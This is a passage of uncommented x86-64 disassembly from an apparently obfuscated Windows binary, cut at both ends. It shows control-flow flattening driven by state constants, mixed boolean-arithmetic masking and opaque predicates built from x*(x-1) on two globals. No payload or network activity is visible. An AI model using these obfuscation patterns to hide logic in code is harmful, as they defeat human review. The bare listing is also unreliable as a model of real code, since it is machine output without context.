or ebx, 0xcef499e9
mov edx, ebx
not edx
or ecx, 0x10a4406
and ecx, 0x458ed5cf
and ebp, 0x8a700820
or ebp, ecx
and ebx, 0x458ed5cf
and edx, 0x30012210
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x658d029
and edx, 0xf9a72fd6
or edx, ecx
mov ecx, edx
xor ecx, 0x36430006
xor edx, 0x88844880
and edx, 0x8994feb9
and ecx, 0x766b0146
or ecx, edx
mov edx, ecx
xor edx, 0x52490142
xor ecx, 0x89905608
and ecx, 0xadb2560c
and edx, 0x524da9f3
or edx, ecx
xor edx, 0x524da9f3
setne dl
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, r8b
or dl, al
or al, r8b
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r10d, ecx
xor r10b, 1
mov ebx, r9d
and bl, al
xor bl, 1
mov r8d, ebx
xor r8b, al
or bl, al
xor bl, 1
or bl, r8b
mov edx, ebx
xor dl, 1
and dl, cl
and bl, r10b
or bl, dl
xor r10b, al
or cl, r9b
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x8bb574cd
mov edx, 0x4fae7dbf
cmovne eax, edx
test cl, 1
mov ecx, 0x8bb574cd
jmp 0x1400b6a0b
cmp ecx, 0x23eda654
jg 0x1400b615c
cmp ecx, 0x22c2e20d
je 0x1400b9e35
cmp ecx, 0x23416bdc
jne 0x1400aed20
mov ecx, 0xecd6b041
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x682fcf31
jg 0x1400b624a
cmp ecx, 0x67417b65
je 0x1400ba000
cmp ecx, 0x67657ac0
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x7157c69b
and edx, ecx
and ecx, 0x8ea83964
or ecx, ebp
xor ecx, 0x8ea83964
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov esi, ecx
not esi
mov ebp, ecx
or ebp, 0x9278be4e
mov edi, ebp
not edi
mov edx, esi
or edx, 0x6d8741b1
mov ebx, edx
not ebx
and ebp, 0x91150051
and edi, 0x6c8241a0
or edi, ebp
and edx, 0x91150051
and ebx, 0x268be0e
or ebx, edx
xor ebx, edi
mov edx, ebx
not edx
and edx, 0x9278be4f
and ebx, 0x6d8741b0
or ebx, edx
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
mov edx, ecx
not edx
and edx, 0xa8e460c5
and ecx, 0x571b9f3a
or ecx, edx
mov ebp, ecx
xor ebp, 0x3031c3a
xor ecx, 0xa8e460c5
mov edx, ebx
not edx
mov edi, edx
and edi, 0xfcbce3c4
and ebx, 0x3431c3b
or ebx, edi
or edx, ecx
and ecx, 0xfcbce3c4
and ebp, 0x3431c3b
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x25c8519f
and edx, 0xda37ae60
or edx, ecx
mov ecx, edx
xor ecx, 0xda130a60
xor edx, 0x4405184
and edx, 0x464f584
and ecx, 0xfb9b0a7b
or ecx, edx
mov edx, ecx
xor edx, 0x24a580
xor ecx, 0x3b1a0873
and ecx, 0x3f5a5877
and edx, 0xc0a5a788
or edx, ecx
mov ecx, edx
xor ecx, 0x4004a200
xor edx, 0x121a5064
and edx, 0x92bb55ec
and ecx, 0x6d44aa13
or ecx, edx
mov edx, ecx
xor edx, 0x820b44ac
xor ecx, 0xc44a202
and ecx, 0x1cf4b342
and edx, 0xe30b4cbd
or edx, ecx
xor edx, 0xe30b4cbd
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, r9d
and dl, al
and r9b, bl
and bl, r8b
or bl, dl
mov ecx, ebx
xor cl, al
and cl, bl
and al, r8b
or al, r9b
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
mov edx, ecx
xor dl, al
and dl, cl
and al, cl
or al, bl
mov ebx, eax
xor bl, dl
test al, al
mov ecx, 0xe9ca7824
mov ebp, 0xba13c3ac
cmovne ecx, ebp
test dl, dl
mov eax, 0xe9ca7824
cmove ecx, eax
test bl, 1
jmp 0x1400bc098
cmp ecx, 0xe01aa7ca
jg 0x1400b635b
cmp ecx, 0xde76f785
je 0x1400ba016
cmp ecx, 0xdec997b1
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x20b28bb0
and ecx, 0xdf4d744f
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6af3d1b0
and ecx, 0x950c2e4f
or ecx, edx
mov edx, ecx
xor edx, 0xb5bea5ff
mov ebp, ecx
xor ebp, 0xfa441183
and ebp, edx
or edx, 0xb0054b83
mov ebx, edx
not ebx
mov edi, ebp
not edi
mov esi, edx
and esi, 0x958be16b
and ebx, 0x4a701414
or ebx, esi
or edx, edi
and edi, 0x958be16b
and ebp, 0x6a741e94
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x766e4b4b
and edx, 0x8991b4b4
or edx, ebp
xor edx, 0xc66b00c9
mov ebp, ecx
and ebp, 1
xor ecx, 0x4a415a01
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x87418fd4
and ecx, 0x78be702b
or ecx, ebp
xor ecx, 0x78be702b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xba2b28c0
and ecx, 0x45d4d73f
or ecx, edx
xor ecx, 0x45d4d73f
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, cl
and dl, al
mov r10d, r9d
xor r10b, r8b
and r10b, r9b
mov eax, edx
xor al, 1
and dl, al
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
mov ebx, r10d
xor bl, 1
mov eax, ebx
and al, r10b
xor bl, al
xor al, 1
or al, r10b
xor al, 1
or al, bl
xor al, dl
xor al, 1
mov edx, ecx
or dl, r8b
xor dl, 1
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2ec514bf
mov ebp, 0xeb01d2fa
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x2ec514bf
jmp 0x1400bbba9
cmp ecx, 0xe2cd95d5
je 0x1400ba18e
cmp ecx, 0xe2e29cd7
je 0x1400ba1a4
cmp ecx, 0xe3a06ec2
jne 0x1400aed20
mov eax, dword [0x140265730]
lea edx, [rax - 1]
imul edx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x4730aeb0
mov ecx, edx
and ecx, 0xb8cf514e
or ecx, eax
xor ecx, 0xb8cf514e
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x3dd7e09b
and eax, 0xc2281f64
or eax, ecx
mov ecx, eax
xor ecx, 0x81200
and ebp, 0x4cd09c8a
and edx, 0xb32f6375
or edx, ebp
mov ebp, edx
xor ebp, 0x10096211
xor eax, 0x3dd7e09b
xor edx, 0x4cd09c8a
mov ebx, eax
and ebx, 0xeb268d6e
and ecx, 0x14d97291
or ecx, ebx
or eax, edx
and edx, 0xeb268d6e
and ebp, 0x14d97291
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0xd49b9b80
and eax, 0x2b64647f
or eax, ecx
xor eax, 0x2b64647f
sete r10b
setne cl
cmp dword [0x14026572c], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov r8d, ecx
xor r8b, 1
xor r10b, bl
mov r9d, r10d
xor r9b, 1
mov eax, r8d
and al, cl
mov ebx, r9d
and bl, r10b
mov edx, eax
xor dl, 1
xor al, r8b
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
xor bl, dl
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov eax, r10d
xor al, bl
test al, 1
mov eax, 0x771227cd
mov ecx, 0xb8abcfa9
cmovne eax, ecx
test r10b, r10b
mov ecx, 0x771227cd
jmp 0x1400b6a0b
cmp ecx, 0x95ea3f73
je 0x1400ba31b
cmp ecx, 0x97eab662
jne 0x1400aed20
mov ecx, 0xe1d12086
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xd0b98c72
je 0x1400ba3b1
cmp ecx, 0xd107697b
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xd2ec5dad
and edx, 0x2d13a252
or edx, ecx
mov ebx, edx
xor ebx, 0x28102000
xor edx, 0x82800d80
or ebp, 0xabb0fd95
mov ecx, ebp
not ecx
or edx, 0x4060268
and edx, 0x87868ff8
and ebx, 0x28307005
or ebx, edx
and ebp, 0x87868ff8
and ecx, 0x50490002
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x5d517ee7
and ecx, 0xa2ae8118
or ecx, edx
mov edx, ecx
xor edx, 0x91e7c8d
mov ebp, ecx
xor ebp, 0x84c18030
and ebp, 0x84c7c03d
xor ecx, 0xa1727ce5
and ecx, edx
and edx, 0x7b383fc2
or edx, ebp
mov ebp, edx
xor ebp, 0x7b383fc2
mov ebx, edx
xor ebx, 0x2cabc055
and ebx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x1cafdadb
and ecx, 0xe3502524
or ecx, ebx
xor ecx, 0x4b3c254d
and ebp, 1
xor edx, 0x7b383fc3
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x934237c7
and edx, 0x6cbdc838
or edx, ecx
mov ecx, edx
xor ecx, 0x4940038
xor edx, 0x13022700
and edx, 0x7b2bef00
and ecx, 0x84d410ff
or ecx, edx
mov edx, ecx
xor edx, 0x80840026
xor ecx, 0x312bee00
and ecx, 0x357bfed9
and edx, 0xca840126
or edx, ecx
xor edx, 0xca840126
sete r10b
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg r11b
mov ecx, r11d
xor cl, r8b
and cl, r11b
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ebx, r9d
xor bl, al
mov ecx, ebx
and cl, r9b
and bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
or r10b, r8b
xor r11b, r9b
mov eax, r10d
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, r10b
xor r11b, 1
or r11b, al
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r11b
xor al, r11b
xor r11b, 1
and dl, r11b
or dl, cl
or r11b, bl
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, dl
test r11b, 1
mov ecx, 0x430c3ddf
mov ebp, 0xe725aede
cmovne ecx, ebp
test dl, 1
mov r15d, 0xe725aede
cmove ecx, ebp
test al, 1
mov eax, 0x430c3ddf
jmp 0x1400bd5b0
cmp ecx, 0xa33c27a
je 0x1400ba4c8
cmp ecx, 0x10563a81
jne 0x1400aed20
mov edx, dword [0x140265730]
mov r9d, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x8082a009
mov edx, ebp
and edx, 0x201558c0
or edx, ebx
mov ebx, edx
xor ebx, 0x20111000
xor edx, 0xdfeaa73f
mov ecx, ebp
xor ecx, 0xa097f8c9
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0xd58c4efb
and ebx, 0x2013b000
or ebx, eax
or edx, esi
and esi, 0xd58c4efb
and ecx, 0x2a73b104
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x1e304285
and edx, 0xe1cfbd7a
or edx, eax
mov eax, edx
xor eax, 0x415845b2
xor edx, 0xb8a20a44
mov ecx, eax
and ecx, 0x715f08b
and edx, 0xf8ea0f74
or edx, ecx
or eax, ebp
and ebp, 0x715f08b
and edi, 0xf8ea0f74
or edi, ebp
xor edi, edx
not eax
or eax, edi
cmp eax, 0xffffffff
setne r8b
sete r10b
cmp r9d, 9
setg cl
cmp r9d, 0xa
setl r11b
mov edx, r11d
xor dl, cl
and dl, r11b
mov eax, edx
xor al, 1
or dl, al
mov r9d, eax
xor r9b, dl
or dl, al
xor dl, 1
or dl, r9b
mov eax, r10d
xor al, dl
mov ebx, eax
and bl, r10b
and al, dl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
and r8b, r11b
and cl, r10b
or cl, r8b
mov edx, r11d
and dl, r10b
xor r11b, r10b
or r11b, dl
xor cl, 1
mov edx, ecx
xor dl, r11b
or cl, r11b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xf62984ff
mov ebp, 0xb74ff4ac
jmp 0x1400bb0d2
cmp ecx, 0x52f57c65
je 0x1400ba5c5
cmp ecx, 0x53a911b1
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x2a92bd15
and ecx, 0xd56d42ea
or ecx, edx
mov ebp, ecx
xor ebp, 0x2a92bd15
mov edx, ecx
xor edx, 0xd56d42ea
xor ecx, 0x4c4a5573
mov ebx, ecx
and ebx, edx
and ecx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xee4b3c07
and ecx, 0x11b4c3f8
or ecx, ebx
xor ecx, 0x776c2b9f
and ebp, 0x40a28bfe
mov ebx, edx
and ebx, 0xbf5d7401
or ebx, ebp
xor ebx, 0x40a28bff
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x1d219915
and edx, 0xe2de66ea
or edx, ebp
xor edx, 0xe2de66ea
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
cmp edx, 0xffffffff
sete cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl dl
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
xor r8b, cl
mov eax, r8d
xor al, 1
and dl, r9b
mov ecx, eax
and cl, r8b
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, r8b
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x798442bc
mov ebp, 0x50c3381
cmovne edx, ebp
test al, 1
mov eax, 0x798442bc
jmp 0x1400b3ba5
cmp ecx, 0xb8abcfa9
je 0x1400ba799
cmp ecx, 0xb9f0fae2
jne 0x1400aed20
mov edx, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x40401
mov eax, ebp
and eax, 0x7000706a
or eax, edx
xor eax, 0x7000706a
mov edx, ebp
xor edx, 0x7004746b
and edx, ebp
mov edi, eax
and edi, edx
xor edx, eax
or edx, edi
mov eax, edx
not eax
and eax, 0x8ffb8b95
and edx, 0x7004746a
or edx, eax
mov eax, edx
not eax
and ebx, eax
and edx, ebp
or edx, ebx
xor eax, edx
test eax, edx
sete r8b
setne al
cmp ecx, 0xa
setl r10b
cmp ecx, 9
setg r9b
mov ebx, eax
xor bl, r8b
and bl, al
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, ecx
xor bl, r9b
and cl, bl
and bl, r9b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
and r9b, r8b
and al, r10b
or al, r9b
mov ecx, r10d
and cl, r8b
xor r10b, r8b
or r10b, cl
xor al, 1
mov ecx, eax
xor cl, r10b
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x1ed869b7
mov ebp, 0x8a1db6ef
cmovne ecx, ebp
test al, 1
mov eax, ecx
cmovne eax, ebp
jmp 0x1400aed0f
cmp ecx, 0x33c1e8ff
je 0x1400ba9b6
cmp ecx, 0x34c3dc35
jne 0x1400aed20
mov ecx, 0x8650a479
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x79b615ea
je 0x1400bab1b
cmp ecx, 0x79ea71c7
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x1f475904
and ecx, 0xe0b8a6fb
or ecx, eax
mov eax, ecx
xor eax, 0xa020a2ab
xor ecx, 0x1011804
and ecx, 0x41991c54
and eax, 0xbe66e3ab
or eax, ecx
mov ebp, eax
xor ebp, 0x1081c10
mov edi, eax
xor edi, 0xbe66e3ab
or ebp, 0x6cb781ef
mov ebx, ebp
not ebx
mov edx, edi
or edx, 0x93487e10
mov ecx, edx
not ecx
and ebp, 0xebd9fe7f
and ebx, 0x10000000
or ebx, ebp
and edx, 0xebd9fe7f
and ecx, 0x4260180
or ecx, edx
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x6cb781ee
and ecx, 0x93487e11
or ecx, edx
and edi, 1
xor eax, 0xbe66e3aa
or eax, edi
mov edx, eax
not edx
and edx, 0x200d1dda
and eax, 0xdff2e225
or eax, edx
xor eax, 0xdff2e225
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x38a8f800
and eax, 0xc75707ff
or eax, ecx
mov ecx, eax
xor ecx, 0x84420786
xor eax, 0x2820e800
and eax, 0x6b35e879
and ecx, 0x94ca1786
or ecx, eax
mov eax, ecx
xor eax, 0x69342058
xor ecx, 0x90800786
and eax, 0x6d7e3058
and ecx, 0x9281cfa7
or ecx, eax
xor ecx, 0x9281cfa7
sete r8b
setne bl
cmp dword [0x14026572c], 0xa
setl r9b
mov eax, ebx
xor al, r8b
and al, bl
mov ebx, eax
xor bl, 1
or al, bl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, r9d
xor dl, al
xor dl, 1
and dl, al
or al, r9b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
or dl, r8b
xor dl, 1
xor r9b, r8b
mov ebx, edx
and bl, r9b
xor r9b, dl
or r9b, bl
mov ecx, r9d
xor cl, 1
mov edx, ecx
and dl, r9b
xor cl, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xc479a773
mov edx, 0x44a8caa0
cmovne ecx, edx
test bl, 1
mov edx, 0xc479a773
cmovne edx, ecx
test al, 1
jmp 0x1400b4fcd
cmp ecx, 0x820b8c8b
je 0x1400bacab
cmp ecx, 0x83edc152
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0xc75f73f2
mov edx, ebp
and edx, 0x38a08c0c
or edx, ecx
xor edx, 0x38a08c0c
mov ecx, ebp
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0xaef660a3
and ecx, 0x51099f5c
or ecx, edx
mov edx, ecx
xor edx, 0x41010a58
and ebx, 0x6c8892b3
and ebp, 0x93776d4c
or ebp, ebx
mov ebx, ebp
xor ebx, 0x1036848
xor ecx, 0xaef660a3
xor ebp, 0x6c8892b3
mov edi, ecx
and edi, 0xbafc95a4
and edx, 0x45036a5b
or edx, edi
or ecx, ebp
and ebp, 0xbafc95a4
and ebx, 0x45036a5b
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x61cfe04c
and ecx, 0x9e301fb3
or ecx, edx
xor ecx, 0x9e301fb3
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor bl, cl
xor cl, al
xor cl, 1
or cl, al
mov eax, ecx
not al
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x91aa78db
mov ebp, 0xf4dadd3b
cmovne edx, ebp
test cl, cl
mov ecx, 0x91aa78db
cmovne edx, ecx
test al, al
jmp 0x1400bcf19
cmp ecx, 0xbec77772
je 0x1400bacc1
cmp ecx, 0xc16a2793
jne 0x1400aed20
mov ecx, 0xcd0d3086
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xeb6f8ace
je 0x1400bacd7
cmp ecx, 0xec172e04
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x353b4eb5
and edx, 0xcac4b14a
or edx, ecx
mov ebx, edx
xor ebx, 0x2040002
xor edx, 0x300a31
or ebp, 0x2f60a37
mov ecx, ebp
not ecx
or edx, 0xf0015048
and edx, 0xf0f15a79
and ebx, 0x2060006
or ebx, edx
and ebp, 0xf0f15a79
and ecx, 0xd08a580
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xfd09f5c8
and ecx, 0x2f60a37
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x24374aac
and ecx, 0xdbc8b553
or ecx, edx
xor ecx, 0xdbc8b552
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x42801396
and edx, ecx
and ecx, 0xbd7fec69
or ecx, ebp
xor ecx, 0xbd7fec69
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xde155abd
and ecx, 0x21eaa542
or ecx, ebp
xor ecx, 0xde155abd
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
xor al, 1
and bl, dl
or bl, r8b
xor bl, al
mov edx, ebx
not dl
and dl, al
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0xe2cd95d5
mov ebp, 0xcc1ad735
cmovne ecx, ebp
test dl, dl
mov edx, 0xe2cd95d5
cmove ecx, edx
test al, al
jmp 0x1400bc098
cmp ecx, 0x3e4b8609
je 0x1400baced
cmp ecx, 0x3ec7a836
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x33cee695
and edx, 0xcc31196a
or edx, ecx
mov ebp, edx
xor ebp, 0x80111928
xor edx, 0x10048600
and edx, 0x5c248642
and ebp, 0xa3db79bd
or ebp, edx
mov ecx, ebp
xor ecx, 0x5c248642
mov edx, ebp
xor edx, 0x5c248643
and edx, ecx
xor ebp, 0x3c261a9
and ebp, 0x13e667a9
and ecx, 0xec199856
or ecx, ebp
xor ecx, 0xec199857
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd0ae013f
and ebp, 0x2f51fec0
or ebp, edi
or ecx, ebx
and ebx, 0xd0ae013f
and edx, 0x2f51fec0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x8fd93f08
and ecx, 0x7026c0f7
or ecx, ebp
xor ecx, 0x7026c0f7
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x2a80f5b1
mov ebp, 0xc8e5f42a
cmovne ecx, ebp
test al, al
mov eax, 0x2a80f5b1
jmp 0x1400bab13
cmp ecx, 0x9e1ccee9
je 0x1400bad03
cmp ecx, 0x9fadf664
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x22e20820
mov ebp, edx
and ebp, 0x4505948e
or ebp, ecx
xor ebp, 0x4505948e
and edx, 0x98186351
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x6ef05ae1
and edx, 0x910fa51e
or edx, ecx
mov ebp, edx
xor ebp, 0xf6e839b0
xor edx, 0x812804a
and edx, 0x5a7a914a
mov ecx, ebp
and ecx, 0xa5856eb5
or ecx, edx
mov edx, ecx
xor edx, 0xa5856eb5
mov ebx, ecx
xor ebx, 0xbb443be8
and ebx, edx
and ebp, 0x1ec1555d
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0x1ec1555c
and ebp, 0xe13eaaa3
or ebp, ebx
xor ecx, 0x1a688042
and ecx, 0xbbec86e7
mov ebx, edx
and ebx, 0x44137918
or ebx, ecx
xor ebx, 0xbbec86e6
and edx, 1
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xb970ace3
and edx, 0x468f531c
or edx, ecx
mov ebx, edx
xor ebx, 0x448f0314
mov ecx, ebp
not ecx
xor edx, 0xb970ace3
mov edi, ecx
and edi, 0x2b50d009
and ebp, 0xd4af2ff6
or ebp, edi
or ecx, edx
and edx, 0x2b50d009
and ebx, 0xd4af2ff6
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xbeb8386
and edx, 0xf4147c79
or edx, ecx
mov ecx, edx
xor ecx, 0xaca8000
xor edx, 0x50105c01
and ecx, 0xaecea078
and edx, 0x51315f87
or edx, ecx
xor edx, 0xaecea078
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r10d
xor al, cl
and al, r10b
mov edx, eax
xor dl, 1
mov ebx, eax
or bl, dl
xor al, bl
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, r9d
xor al, bl
mov edx, eax
and dl, r9b
and al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r10d
xor r10b, r9b
and r9b, cl
and dl, r8b
or dl, r9b
or cl, r8b
xor cl, 1
or cl, r10b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
xor al, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x1bb89828
mov ebp, 0xb7afb40c
cmovne edx, ebp
test al, 1
mov eax, 0x1bb89828
cmovne eax, edx
jmp 0x1400bc4e3
cmp ecx, 0x141c5064
je 0x1400bad19
cmp ecx, 0x1641fcf5
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
and edx, 0x854f98e1
and ecx, 0x7ab0671e
or ecx, edx
mov edx, ecx
xor edx, 0x3a102302
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x40e95c1c
and ebx, 0xbf16a3e3
or ebx, ebp
xor ecx, 0x491800
and ecx, 0x40e95c1c
